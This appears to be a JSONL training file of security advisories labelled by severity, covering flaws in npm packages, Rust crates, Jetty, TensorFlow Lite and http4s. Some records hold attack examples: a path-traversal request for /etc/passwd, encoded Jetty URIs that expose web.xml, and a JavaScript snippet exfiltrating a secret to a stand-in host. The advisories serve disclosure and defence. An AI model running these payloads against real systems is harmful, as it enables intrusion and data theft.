-{"id": "44ff5ab995cbf5b0d42c", "text": "InfraPower PPS-02-S Q213V1 Unauthenticated Remote Root Command Execution", "text_raw": "InfraPower PPS-02-S Q213V1 Unauthenticated Remote Root Command Execution\n\nSeverity: critical", "severity": "critical", "severity_label": 3, "source": "zeroscience", "timestamp": "2016-10-28", "split": "train"}
-{"id": "b2eba83abdfad496fff0", "text": "Panasonic Sanyo CCTV Network Camera 2.03 CSRF Disable Auth / Change Password", "text_raw": "Panasonic Sanyo CCTV Network Camera 2.03 CSRF Disable Auth / Change Password\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2021-07-30", "split": "train"}
-{"id": "1fb90db835493d6b185a", "text": "Malicious Package in ng-ui-library\n\nVersion 1.0.987 of `ng-ui-library` contained malicious code. The code when executed in the browser would enumerate password, cvc and cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n## Recommendation\n\nRemove the package from your environment and evaluate your application to determine whether or not user data was compromised.", "text_raw": "Malicious Package in ng-ui-library\n\n[Severity: CRITICAL]\n\nVersion 1.0.987 of `ng-ui-library` contained malicious code. The code when executed in the browser would enumerate password, cvc and cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n\n\n## Recommendation\n\nRemove the package from your environment and evaluate your application to determine whether or not user data was compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-11", "split": "train"}
-{"id": "f7482aeef70b0ff4334b", "text": "Null pointer dereference in tensorflow-lite\n\n### Impact\nA crafted TFLite model can force a node to have as input a tensor backed by a `nullptr` buffer. This can be achieved by changing a buffer index in the flatbuffer serialization to convert a read-only tensor to a read-write one. The runtime assumes that these buffers are written to before a possible read, hence they are initialized with `nullptr`:\nhttps://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/lite/core/subgraph.cc#L1224-L1227\n\nHowever, by changing the buffer index for a tensor and implicitly converting that tensor to be a read-write one, as there is nothing in the model that writes to it, we get a null pointer dereference.\n\n### Patches\nWe have patched the issue in 0b5662bc and will release patch releases for all versions between 1.15 and 2.3.\n\nWe recommend users to upgrade to TensorFlow 1.15.4, 2.0.3, 2.1.2, 2.2.1, or 2.3.1.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360 but was also discovered through variant analysis of [GHSA-cvpc-8phh-8f45](https://github.com/tensorflow/tensorflow/security/advisories/GHSA-cvpc-8phh-8f45).", "text_raw": "Null pointer dereference in tensorflow-lite\n\n[Severity: HIGH]\n\n### Impact\nA crafted TFLite model can force a node to have as input a tensor backed by a `nullptr` buffer. This can be achieved by changing a buffer index in the flatbuffer serialization to convert a read-only tensor to a read-write one. The runtime assumes that these buffers are written to before a possible read, hence they are initialized with `nullptr`:\nhttps://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/lite/core/subgraph.cc#L1224-L1227\n\nHowever, by changing the buffer index for a tensor and implicitly converting that tensor to be a read-write one, as there is nothing in the model that writes to it, we get a null pointer dereference.\n\n### Patches\nWe have patched the issue in 0b5662bc and will release patch releases for all versions between 1.15 and 2.3.\n\nWe recommend users to upgrade to TensorFlow 1.15.4, 2.0.3, 2.1.2, 2.2.1, or 2.3.1.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360 but was also discovered through variant analysis of [GHSA-cvpc-8phh-8f45](https://github.com/tensorflow/tensorflow/security/advisories/GHSA-cvpc-8phh-8f45).", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-25", "split": "train"}
-{"id": "7ee0f4718c9ede80c886", "text": "Cross-Site Scripting in serve\n\nVersions of `serve` prior to 10.0.2 are vulnerable to Cross-Site Scripting (XSS). The package does not encode output, allowing attackers to execute arbitrary JavaScript in the victim's browser if user-supplied input is rendered.\n\n## Recommendation\n\nUpgrade to version 10.0.2 or later.", "text_raw": "Cross-Site Scripting in serve\n\n[Severity: HIGH]\n\nVersions of `serve` prior to 10.0.2 are vulnerable to Cross-Site Scripting (XSS). The package does not encode output, allowing attackers to execute arbitrary JavaScript in the victim's browser if user-supplied input is rendered.\n\n\n## Recommendation\n\nUpgrade to version 10.0.2 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-11", "split": "train"}
-{"id": "12adcb38c0ef0922e732", "text": "Race condition in tokio\n\nWhen aborting a task with JoinHandle::abort, the future is dropped in the thread calling abort if the task is not currently being executed. This is incorrect for tasks spawned on a LocalSet. This can easily result in race conditions as many projects use Rc or RefCell in their Tokio tasks for better performance.", "text_raw": "Race condition in tokio\n\n[Severity: MEDIUM]\n\nWhen aborting a task with JoinHandle::abort, the future is dropped in the thread calling abort if the task is not currently being executed. This is incorrect for tasks spawned on a LocalSet. This can easily result in race conditions as many projects use Rc or RefCell in their Tokio tasks for better performance.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "ed5779565c12ef5c2536", "text": "Command Injection in local-devices\n\nVersions of `local-devices` prior to 3.0.0 are vulnerable to Command Injection. The package does not validate input on ip addresses and concatenates it to an exec call, allowing attackers to run arbitrary commands in the system.\n\n## Recommendation\n\nUpgrade to version 3.0.0 or later.", "text_raw": "Command Injection in local-devices\n\n[Severity: HIGH]\n\nVersions of `local-devices` prior to 3.0.0 are vulnerable to Command Injection. The package does not validate input on ip addresses and concatenates it to an exec call, allowing attackers to run arbitrary commands in the system.\n\n\n## Recommendation\n\nUpgrade to version 3.0.0 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "4c962c3b8983c7f31375", "text": "AdaptCMS 3.0.3 Remote Command Execution Exploit", "text_raw": "AdaptCMS 3.0.3 Remote Command Execution Exploit\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2015-01-05", "split": "train"}
-{"id": "e2cc0159bf5670b571e1", "text": "Duplicate Advisory: Prototype Pollution in jquery\n\n## Duplicate Advisory\nThis advisory is a duplicate of [GHSA-6c3j-c64m-qhgq](https://github.com/advisories/GHSA-6c3j-c64m-qhgq). This link is maintained to preserve external references.\n\n## Original Description\nVersions of `jquery`  prior to 3.4.0 are vulnerable to Prototype Pollution. The extend() method allows an attacker to modify the prototype for `Object` causing changes in properties that will exist on all objects.\n\n## Recommendation\nUpgrade to version 3.4.0 or later.", "text_raw": "Duplicate Advisory: Prototype Pollution in jquery\n\n[Severity: MEDIUM]\n\n## Duplicate Advisory\nThis advisory is a duplicate of [GHSA-6c3j-c64m-qhgq](https://github.com/advisories/GHSA-6c3j-c64m-qhgq). This link is maintained to preserve external references.\n\n## Original Description\nVersions of `jquery`  prior to 3.4.0 are vulnerable to Prototype Pollution. The extend() method allows an attacker to modify the prototype for `Object` causing changes in properties that will exist on all objects.\n\n## Recommendation\nUpgrade to version 3.4.0 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-04-23", "split": "train"}
-{"id": "03546594faaae4bc901f", "text": "Integer Overflow/Infinite Loop in the http crate\n\nHeaderMap::reserve() used usize::next_power_of_two() to calculate the increased capacity. However, next_power_of_two() silently overflows to 0 if given a sufficiently large number in release mode.\n\nIf the map was not empty when the overflow happens, the library will invoke self.grow(0) and start infinite probing. This allows an attacker who controls the argument to reserve() to cause a potential denial of service (DoS).\n\nThe flaw was corrected in 0.1.20 release of http crate.", "text_raw": "Integer Overflow/Infinite Loop in the http crate\n\n[Severity: HIGH]\n\nHeaderMap::reserve() used usize::next_power_of_two() to calculate the increased capacity. However, next_power_of_two() silently overflows to 0 if given a sufficiently large number in release mode.\n\nIf the map was not empty when the overflow happens, the library will invoke self.grow(0) and start infinite probing. This allows an attacker who controls the argument to reserve() to cause a potential denial of service (DoS).\n\nThe flaw was corrected in 0.1.20 release of http crate.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "063da1d629b0eb924019", "text": "Downloads Resources over HTTP in haxeshim\n\nAffected versions of `haxeshim` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `haxeshim`.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "Downloads Resources over HTTP in haxeshim\n\n[Severity: HIGH]\n\nAffected versions of `haxeshim` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `haxeshim`.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-31", "split": "train"}
-{"id": "b0bef8112d3713635c97", "text": "Prototype Pollution in set-value\n\nVersions of `set-value` prior to 3.0.1 or 2.0.1 are vulnerable to Prototype Pollution. The `set` function fails to validate which Object properties it updates. This allows attackers to modify the prototype of Object, causing the addition or modification of an existing property on all objects.\n\n## Recommendation\n\nIf you are using `set-value` 3.x, upgrade to version 3.0.1 or later.\nIf you are using `set-value` 2.x, upgrade to version 2.0.1 or later.", "text_raw": "Prototype Pollution in set-value\n\n[Severity: CRITICAL]\n\nVersions of `set-value` prior to 3.0.1 or 2.0.1 are vulnerable to Prototype Pollution. The `set` function fails to validate which Object properties it updates. This allows attackers to modify the prototype of Object, causing the addition or modification of an existing property on all objects.\n\n\n\n\n## Recommendation\n\nIf you are using `set-value` 3.x, upgrade to version 3.0.1 or later.\nIf you are using `set-value` 2.x, upgrade to version 2.0.1 or later.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-08-27", "split": "train"}
-{"id": "75dcae11e2ec0e0768ba", "text": "ViArt Shop Enterprise 4.1 (post-auth) Multiple Stored XSS Vulnerabilities", "text_raw": "ViArt Shop Enterprise 4.1 (post-auth) Multiple Stored XSS Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2012-09-25", "split": "train"}
-{"id": "1eca57f98587b5b81f2d", "text": "Rating Script Service expose XWiki to SQL injection\n\n### Impact\nThis issue impacts only XWiki with the Ratings API installed.\nThe Rating Script Service expose an API to perform SQL requests without escaping the from and where search arguments. \nThis might lead to an SQL script injection quite easily for any user having Script rights on XWiki.\n\n### Patches\nThe problem has been patched in XWiki 12.9RC1.\n\n### Workarounds\nThe only workaround besides upgrading XWiki would be to uninstall the Ratings API in XWiki from the Extension Manager.\n\n### References\nhttps://jira.xwiki.org/browse/XWIKI-17662\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [Jira XWiki](http://jira.xwiki.org)\n* Email us at our [security mailing list](mailto:security@xwiki.org)", "text_raw": "Rating Script Service expose XWiki to SQL injection\n\n[Severity: HIGH]\n\n### Impact\nThis issue impacts only XWiki with the Ratings API installed.\nThe Rating Script Service expose an API to perform SQL requests without escaping the from and where search arguments. \nThis might lead to an SQL script injection quite easily for any user having Script rights on XWiki.\n\n### Patches\nThe problem has been patched in XWiki 12.9RC1.\n\n### Workarounds\nThe only workaround besides upgrading XWiki would be to uninstall the Ratings API in XWiki from the Extension Manager.\n\n### References\nhttps://jira.xwiki.org/browse/XWIKI-17662\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [Jira XWiki](http://jira.xwiki.org)\n* Email us at our [security mailing list](mailto:security@xwiki.org)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-03-23", "split": "train"}
-{"id": "6ccc18d5101f703b60bf", "text": "Directory traversal in pooledwebsocket\n\nAffected versions of `pooledwebsocket` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nUpdate to version 0.0.19 or later.", "text_raw": "Directory traversal in pooledwebsocket\n\n[Severity: HIGH]\n\nAffected versions of `pooledwebsocket` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nUpdate to version 0.0.19 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-24", "split": "train"}
-{"id": "fc465decef02c8ffb52a", "text": "Send/Sync bound needed on T  for Send/Sync impl of RcuCell<T>\n\nAffected versions of this crate unconditionally implement Send/Sync for `RcuCell<T>`.\nThis allows users to send `T: !Send` to other threads (while `T` enclosed within `RcuCell<T>`), and allows users to concurrently access `T: !Sync` by using the APIs of `RcuCell<T>` that provide access to `&T`.\n\nThis can result in memory corruption caused by data races.", "text_raw": "Send/Sync bound needed on T  for Send/Sync impl of RcuCell<T>\n\n[Severity: MEDIUM]\n\nAffected versions of this crate unconditionally implement Send/Sync for `RcuCell<T>`.\nThis allows users to send `T: !Send` to other threads (while `T` enclosed within `RcuCell<T>`), and allows users to concurrently access `T: !Sync` by using the APIs of `RcuCell<T>` that provide access to `&T`.\n\nThis can result in memory corruption caused by data races.\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "246f84323581ce31aa85", "text": "Prototype Pollution in gammautils\n\nAll versions of package gammautils up to and including version 0.0.81 are vulnerable to Prototype Pollution via the `deepSet` and `deepMerge` functions.", "text_raw": "Prototype Pollution in gammautils\n\n[Severity: CRITICAL]\n\nAll versions of package gammautils up to and including version 0.0.81 are vulnerable to Prototype Pollution via the `deepSet` and `deepMerge` functions.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-05-06", "split": "train"}
-{"id": "956097865b0c49552e00", "text": "lynx doesn't properly sanitize user input and exposes database password to unauthorized users\n\nThe lynx gem prior to 1.0.0 for Ruby places the configured password on command lines, which allows local users to obtain sensitive information by listing processes.\n\nAs of version 1.0.0, lynx no longer supports a `--password` option. Passwords are only configured in a configuration file, so it's no longer possible to expose passwords on the command line.", "text_raw": "lynx doesn't properly sanitize user input and exposes database password to unauthorized users\n\n[Severity: HIGH]\n\nThe lynx gem prior to 1.0.0 for Ruby places the configured password on command lines, which allows local users to obtain sensitive information by listing processes.\n\nAs of version 1.0.0, lynx no longer supports a `--password` option. Passwords are only configured in a configuration file, so it's no longer possible to expose passwords on the command line.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-01-24", "split": "train"}
-{"id": "3b1af5355379ac46d147", "text": "Podman Origin Validation Error\n\nRootless containers run with Podman, receive all traffic with a source IP address of 127.0.0.1 (including from remote hosts). This impacts containerized applications that trust localhost (127.0.01) connections by default and do not require authentication. This issue affects Podman versions from 1.8.0 to 3.0.0.", "text_raw": "Podman Origin Validation Error\n\n[Severity: MEDIUM]\n\nRootless containers run with Podman, receive all traffic with a source IP address of 127.0.0.1 (including from remote hosts). This impacts containerized applications that trust localhost (127.0.01) connections by default and do not require authentication. This issue affects Podman versions from 1.8.0 to 3.0.0.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-18", "split": "train"}
-{"id": "20517fcce0798747c54d", "text": "Adobe ColdFusion Deserialization of Untrusted Data Vulnerability\n\nAffected: Adobe ColdFusion\n\nAdobe ColdFusion contains a deserialization of untrusted data vulnerability that could allow for code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-502\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Adobe ColdFusion Deserialization of Untrusted Data Vulnerability\n\nAffected: Adobe ColdFusion\n\nAdobe ColdFusion contains a deserialization of untrusted data vulnerability that could allow for code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-502\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "e8d3052e8b55b90217ab", "text": "Improper Certificate Validation in chloride\n\nPrior to version 0.3.0, chloride's use of net-ssh resulted in host fingerprints for previously unknown hosts getting added to the user's known_hosts file without confirmation. In version 0.3.0 this is updated so that the user's known_hosts file is not updated by chloride.", "text_raw": "Improper Certificate Validation in chloride\n\n[Severity: HIGH]\n\nPrior to version 0.3.0, chloride's use of net-ssh resulted in host fingerprints for previously unknown hosts getting added to the user's known_hosts file without confirmation. In version 0.3.0 this is updated so that the user's known_hosts file is not updated by chloride.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-03-25", "split": "train"}
-{"id": "3df43214d2115c6ff429", "text": "Encoded URIs can access WEB-INF directory in Eclipse Jetty\n\n### Description\nURIs can be crafted using some encoded characters to access the content of the `WEB-INF` directory and/or bypass some security constraints.\nThis is a variation of the vulnerability reported in [CVE-2021-28164](https://nvd.nist.gov/vuln/detail/CVE-2021-28164)/[GHSA-v7ff-8wcx-gmc5](https://github.com/eclipse/jetty.project/security/advisories/GHSA-v7ff-8wcx-gmc5).\n\n### Impact\nThe default compliance mode allows requests with URIs that contain a %u002e segment to access protected resources within the WEB-INF directory. For example, a request to `/%u002e/WEB-INF/web.xml` can retrieve the web.xml file. This can reveal sensitive information regarding the implementation of a web application.  Similarly, an encoded null character can prevent correct normalization so that /.%00/WEB-INF/web.xml cal also retrieve the web.xml file.\n\n### Workarounds\nSome Jetty [rewrite rules](https://www.eclipse.org/jetty/documentation/jetty-9/index.html#rewrite-handler) can be deployed to rewrite any request containing encoded dot segments or null characters in the raw request URI, to a known not found resource:\n```xml\n<Call name=\"addRule\">\n  <Arg>\n    <New class=\"org.eclipse.jetty.rewrite.handler.RewriteRegexRule\">\n      <Set name=\"regex\">.*/(?:\\.+/)+.*</Set>\n      <Set name=\"replacement\">/WEB-INF/Not-Found</Set>\n    </New>\n  </Arg>\n</Call>\n<Call name=\"addRule\">\n  <Arg>\n    <New class=\"org.eclipse.jetty.rewrite.handler.ValidUrlRule\"/>\n  </Arg>\n</Call>\n```\n\n### Analysis\nPrior to 9.4.37, Jetty was protected from this style of attack by two lines of defense:\n + URIs were decoded first and then normalized for `.` and `..` sequences. Whilst this is not according to the RFC, it did remove relative segments that were encoded or parameterized and made the resulting URI paths safe from any repeated normalization (often done by URI manipulation and file system mapping).\n + The `FileResource` class treated any difference between absolute path and canonical path of a resource as an alias, and thus the resource would not be served by default.\n\nPrior to 9.4.37, the `FileResource` class was replaced by the `PathResource` class that did not treat normalization differences as aliases.  Then release 9.4.37 updated the URI parsing to be compliant with the RFC, in that normalization is done before decoding.   This allowed various encodings or adornments to relative path segments that would not be normalized by the pure RFC URI normalization, but were normalized by the file system, thus allowing protected resources to be accessed via an alias.  Specifically by decoding URIs after normalization, it left them vulnerable to any subsequent normalization (potentially after checking security constraints) changing the URI singificantly.  Such extra normalization is often down by URI manipulation code and file systems.\n\nWith Jetty releases 9.4.43, 10.0.6, 11.0.6, we have restored several lines of defense:\n + URIs are first decoded and then normalized which is not strictly according to the current RFC.  Since the normalization is done after decoding, the URI paths produced are safe from further normalisation and the referenced resource cannot easily be so changed after passing security constraints.\n + During URI parsing checks are made for some specific segments/characters that are possible to be seen ambiguously by an application (e.g. encode dot segments, encoded separators, empty segments, parameterized dot segments and/or null characters). So even though Jetty code handles these URIs correctly, there is a risk that an application may not do so, thus such requests are rejected with a 400 Bad Request unless a specific compliance mode is set.\n + Once decoded and normalized by initial URI processing, Jetty will not decode or normalize a received URI again within its own resource handling. This avoids to possibility of double decode attacks.\n + The `ContextHandler.getResource(String path)` method always checks that the passed path is normalized, only accepting a non normal path if approved by an AliasCheck", "text_raw": "Encoded URIs can access WEB-INF directory in Eclipse Jetty\n\n[Severity: MEDIUM]\n\n### Description\nURIs can be crafted using some encoded characters to access the content of the `WEB-INF` directory and/or bypass some security constraints.\nThis is a variation of the vulnerability reported in [CVE-2021-28164](https://nvd.nist.gov/vuln/detail/CVE-2021-28164)/[GHSA-v7ff-8wcx-gmc5](https://github.com/eclipse/jetty.project/security/advisories/GHSA-v7ff-8wcx-gmc5).\n\n### Impact\nThe default compliance mode allows requests with URIs that contain a %u002e segment to access protected resources within the WEB-INF directory. For example, a request to `/%u002e/WEB-INF/web.xml` can retrieve the web.xml file. This can reveal sensitive information regarding the implementation of a web application.  Similarly, an encoded null character can prevent correct normalization so that /.%00/WEB-INF/web.xml cal also retrieve the web.xml file.\n\n### Workarounds\nSome Jetty [rewrite rules](https://www.eclipse.org/jetty/documentation/jetty-9/index.html#rewrite-handler) can be deployed to rewrite any request containing encoded dot segments or null characters in the raw request URI, to a known not found resource:\n```xml\n<Call name=\"addRule\">\n  <Arg>\n    <New class=\"org.eclipse.jetty.rewrite.handler.RewriteRegexRule\">\n      <Set name=\"regex\">.*/(?:\\.+/)+.*</Set>\n      <Set name=\"replacement\">/WEB-INF/Not-Found</Set>\n    </New>\n  </Arg>\n</Call>\n<Call name=\"addRule\">\n  <Arg>\n    <New class=\"org.eclipse.jetty.rewrite.handler.ValidUrlRule\"/>\n  </Arg>\n</Call>\n```\n\n### Analysis\nPrior to 9.4.37, Jetty was protected from this style of attack by two lines of defense:\n + URIs were decoded first and then normalized for `.` and `..` sequences. Whilst this is not according to the RFC, it did remove relative segments that were encoded or parameterized and made the resulting URI paths safe from any repeated normalization (often done by URI manipulation and file system mapping).\n + The `FileResource` class treated any difference between absolute path and canonical path of a resource as an alias, and thus the resource would not be served by default.\n\nPrior to 9.4.37, the `FileResource` class was replaced by the `PathResource` class that did not treat normalization differences as aliases.  Then release 9.4.37 updated the URI parsing to be compliant with the RFC, in that normalization is done before decoding.   This allowed various encodings or adornments to relative path segments that would not be normalized by the pure RFC URI normalization, but were normalized by the file system, thus allowing protected resources to be accessed via an alias.  Specifically by decoding URIs after normalization, it left them vulnerable to any subsequent normalization (potentially after checking security constraints) changing the URI singificantly.  Such extra normalization is often down by URI manipulation code and file systems.\n\nWith Jetty releases 9.4.43, 10.0.6, 11.0.6, we have restored several lines of defense:\n + URIs are first decoded and then normalized which is not strictly according to the current RFC.  Since the normalization is done after decoding, the URI paths produced are safe from further normalisation and the referenced resource cannot easily be so changed after passing security constraints.\n + During URI parsing checks are made for some specific segments/characters that are possible to be seen ambiguously by an application (e.g. encode dot segments, encoded separators, empty segments, parameterized dot segments and/or null characters). So even though Jetty code handles these URIs correctly, there is a risk that an application may not do so, thus such requests are rejected with a 400 Bad Request unless a specific compliance mode is set.\n + Once decoded and normalized by initial URI processing, Jetty will not decode or normalize a received URI again within its own resource handling. This avoids to possibility of double decode attacks.\n + The `ContextHandler.getResource(String path)` method always checks that the passed path is normalized, only accepting a non normal path if appro", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-07-19", "split": "train"}
-{"id": "8a63ea373847a17a8593", "text": "Rejected CVE ID\n\n** REJECT ** DO NOT USE THIS CANDIDATE NUMBER. ConsultIDs: CVE-2018-7576,\nCVE-2018-21233. Reason: this candidate was intended for one issue, but the\ndescription and references inadvertently combined multiple issues. Notes:\nAll CVE users should consult CVE-2018-7576 and CVE-2018-21233 to determine\nwhich ID is appropriate. All references and descriptions in this candidate\nhave been removed to prevent accidental usage.", "text_raw": "Rejected CVE ID\n\n[Severity: HIGH]\n\n** REJECT ** DO NOT USE THIS CANDIDATE NUMBER. ConsultIDs: CVE-2018-7576,\nCVE-2018-21233. Reason: this candidate was intended for one issue, but the\ndescription and references inadvertently combined multiple issues. Notes:\nAll CVE users should consult CVE-2018-7576 and CVE-2018-21233 to determine\nwhich ID is appropriate. All references and descriptions in this candidate\nhave been removed to prevent accidental usage.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-04-30", "split": "train"}
-{"id": "e4e00140f0b0c8ab4698", "text": "Double free in insert_many\n\nAn issue was discovered in the insert_many crate through 2021-01-26 for Rust. Elements may be dropped twice if a .next() method panics.", "text_raw": "Double free in insert_many\n\n[Severity: HIGH]\n\nAn issue was discovered in the insert_many crate through 2021-01-26 for Rust. Elements may be dropped twice if a .next() method panics.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "a835fa1c6fc629b20722", "text": "Cross-site Scripting in OpenNMS Horizon\n\nIn OpenNMS Horizon, versions opennms-1-0-stable through opennms-27.1.1; OpenNMS Meridian, versions meridian-foundation-2015.1.0-1 through meridian-foundation-2019.1.18-1; meridian-foundation-2020.1.0-1 through meridian-foundation-2020.1.6-1 are vulnerable to Stored Cross-Site Scripting, since the function `validateFormInput()` performs improper validation checks on the input sent to the `groupName` and `groupComment` parameters. Due to this flaw, an authenticated attacker could inject arbitrary script and trick other admin users into downloading malicious files which can cause severe damage to the organization using opennms.", "text_raw": "Cross-site Scripting in OpenNMS Horizon\n\n[Severity: MEDIUM]\n\nIn OpenNMS Horizon, versions opennms-1-0-stable through opennms-27.1.1; OpenNMS Meridian, versions meridian-foundation-2015.1.0-1 through meridian-foundation-2019.1.18-1; meridian-foundation-2020.1.0-1 through meridian-foundation-2020.1.6-1 are vulnerable to Stored Cross-Site Scripting, since the function `validateFormInput()` performs improper validation checks on the input sent to the `groupName` and `groupComment` parameters. Due to this flaw, an authenticated attacker could inject arbitrary script and trick other admin users into downloading malicious files which can cause severe damage to the organization using opennms.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-25", "split": "train"}
-{"id": "9213761738626ccc7d2f", "text": "Improper Verification of Cryptographic Signature in org.apache.httpcomponents:httpclient\n\norg.apache.http.conn.ssl.AbstractVerifier in Apache HttpComponents HttpClient before 4.3.5 and HttpAsyncClient before 4.0.2 does not properly verify that the server hostname matches a domain name in the subject's Common Name (CN) or subjectAltName field of the X.509 certificate, which allows man-in-the-middle attackers to spoof SSL servers via a \"CN=\" string in a field in the distinguished name (DN) of a certificate, as demonstrated by the \"foo,CN=www.apache.org\" string in the O field.", "text_raw": "Improper Verification of Cryptographic Signature in org.apache.httpcomponents:httpclient\n\n[Severity: MEDIUM]\n\norg.apache.http.conn.ssl.AbstractVerifier in Apache HttpComponents HttpClient before 4.3.5 and HttpAsyncClient before 4.0.2 does not properly verify that the server hostname matches a domain name in the subject's Common Name (CN) or subjectAltName field of the X.509 certificate, which allows man-in-the-middle attackers to spoof SSL servers via a \"CN=\" string in a field in the distinguished name (DN) of a certificate, as demonstrated by the \"foo,CN=www.apache.org\" string in the O field.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-17", "split": "train"}
-{"id": "c17911f9c2f6f61a184f", "text": "Default CORS config allows any origin with credentials\n\n### Impact\n\n#### Origin reflection attack\n\nThe default CORS configuration is vulnerable to an origin reflection attack.  Take the following http4s app `app`, using the default CORS config, running at https://vulnerable.example.com:\n\n```scala\nval routes: HttpRoutes[F] = HttpRoutes.of {\n  case req if req.pathInfo === \"/secret\" =>\n    Response(Ok).withEntity(password).pure[F]\n}\nval app = CORS(routes.orNotFound)\n```\n\nThe following request is made to our server:\n\n```http\nGET /secret HTTP/1.1\nHost: vulnerable.example.com\nOrigin: https://adversary.example.net\nCookie: sessionId=...\n```\n\nWhen the `anyOrigin` flag of `CORSConfig` is `true`, as is the case in the default argument to `CORS`, the middleware will allow sharing its resource regardless of the `allowedOrigins` setting.  Paired with the default `allowCredentials`, the server approves sharing responses that may have required credentials for sensitive information with any origin:\n\n```http\nHTTP/1.1 200 OK\nAccess-Control-Allow-Origin: https://adversary.example.org\nAccess-Control-Allow-Credentials: true \nContent-Type: text/plain\n\np4ssw0rd\n```\n\nA malicious script running on `https://adversary.example.org/` can then exfiltrate sensitive information with the user's credentials to `vulnerable.exmaple.org`:\n\n```javascript\nvar req = new XMLHttpRequest(); \nreq.onload = reqListener; \nreq.open('get','https://vulnerable.example.org/secret',true); \nreq.withCredentials = true;\nreq.send();\n\nfunction reqListener() {\n    location='//bad-people.example.org/log?key='+this.responseText; \n};\n```\n\n#### Null origin attack\n\nThe middleware is also susceptible to a Null Origin Attack.  A user agent may send `Origin: null` when a request is made from a sandboxed iframe.  The CORS-wrapped http4s app will respond with `Access-Control-Allow-Origin: null`, permitting a similar exfiltration of secrets to the above.\n\n### Patches\n\nThe problem is fixed in 0.21.27, 0.22.3, 0.23.2, and 1.0.0-M25.  The original `CORS` implementation and `CORSConfig` are deprecated.  In addition to the origin vulnerability, the following deficiencies in the deprecated version are fixed in the new signatures:\n\n### Migration\n\nThe `CORS` object exposes a default `CORSPolicy` via `CORS.policy`.  This can be configured with various `with*` methods, like any http4s builder.  Finally, the `CORSPolicy` may be applied to any `Http`, like any other http4s middleware:\n\n```scala\nval routes: HttpRoutes[F] = ???\nval cors = CORS.policy\n  .withAllowOriginAll\n  